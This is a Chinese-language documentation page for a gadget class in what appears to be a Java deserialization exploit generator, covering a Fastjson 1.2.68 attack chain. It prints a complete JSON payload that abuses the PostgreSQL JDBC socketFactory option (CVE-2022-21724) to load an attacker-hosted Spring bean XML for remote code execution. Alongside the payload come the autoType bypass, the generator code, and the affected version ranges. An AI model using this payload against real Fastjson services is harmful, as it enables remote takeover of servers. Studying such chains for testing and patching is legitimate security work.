Skip to content

Latest commit

 

History

History
68 lines (59 loc) · 3.89 KB

File metadata and controls

68 lines (59 loc) · 3.89 KB

postgresql 1.2.68(FastjsonPostgreSQLJdbc)

  • 类别:fastjson 别名:— 优先级:—
  • 作者:—
  • 依赖org.postgresql:postgresqlorg.postgresql.Driver)、版本 9.4.1208 <= x < 42.2.2542.3.0 <= x < 42.3.2;Fastjson <= 1.2.68

作用

生成 Fastjson JSON payload,实例化 org.postgresql.jdbc.PgConnection,滥用 PostgreSQL 驱动的 socketFactory / socketFactoryArg 连接属性:把 socketFactory 指定为 org.springframework.context.support.ClassPathXmlApplicationContextsocketFactoryArg 指定为攻击者的 spring-bean.xml 地址。驱动建立连接时会 new ClassPathXmlApplicationContext(url),从而远程加载并实例化 Spring Bean XML,达成 RCE(CVE-2022-21724,PostgreSQL JDBC socketFactory 注入)。

链接标签

  • 入口 tagsFastjsonPayloadEND
    • FastjsonPayload:产出交由 Fastjson Payload 解析的 JSON 字符串。
    • END:链尾,无下游;RCE 效果由远程 spring-bean.xml 承载。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

本类逻辑极简,getObject 无入参(不消费内层字节码),仅把 url 填入模板:

public Object getObject() {
    return String.format(template, this.url);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject();
}

模板即攻击核心:

{
  "x1": {
    "@type": "java.lang.AutoCloseable",
    "@type": "org.postgresql.jdbc.PgConnection",
    "hostSpecs": [ { "host": "127.0.0.1", "port": 2333 } ],
    "user": "user",
    "database": "test",
    "info": {
      "socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
      "socketFactoryArg": "%s"
    },url: ""
  }
}
  • @type: java.lang.AutoCloseable + @type: org.postgresql.jdbc.PgConnection@type:Fastjson <= 1.2.68 绕过 checkAutoType
  • PgConnection 构造时读取 info 里的 socketFactory/socketFactoryArg:PostgreSQL 驱动允许用任意实现了「接受一个 String 构造参数」的类作为 SocketFactory,并把 socketFactoryArg 作为其构造参数。这里传入 ClassPathXmlApplicationContext,其构造参数被当作 Spring 配置路径 → 加载 %s(攻击者的 spring-bean.xml)。
  • hostSpecs127.0.0.1:2333 是占位——真正的数据库连接并不需要成功,只要在建立 socket 前触发 socketFactory 的实例化即可。
  • 尾部 url: "" 是反编译还原出的模板原文(键无引号,属模板字符串写法),不影响 Fastjson 解析。

spring-bean.xml 内通常定义一个通过 MethodInvokingFactoryBean / SpEL 执行命令的 bean,实现 RCE。

参数(@Param)

字段 名称 说明 默认 可选值
url 指定加载 spring-bean.xml 文件路径 远程/本地 Spring Bean XML 地址,支持 http 与 file 协议(如 http://127.0.0.1:8080/bean.xmlfile://xxx/bean.xml 无(须填)

适用版本与原理要点

  • Fastjson <= 1.2.68AutoCloseable@type 绕过)。
  • PostgreSQL 驱动须落在 9.4.1208 <= x < 42.2.2542.3.0 <= x < 42.3.2;42.2.25 / 42.3.2 起 CVE-2022-21724 修复了对 socketFactory 的任意类加载。
  • 目标 classpath 须有 Spring(提供 ClassPathXmlApplicationContext)。
  • 出网:目标需能访问 url 指向的 XML(http/file)。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。

关联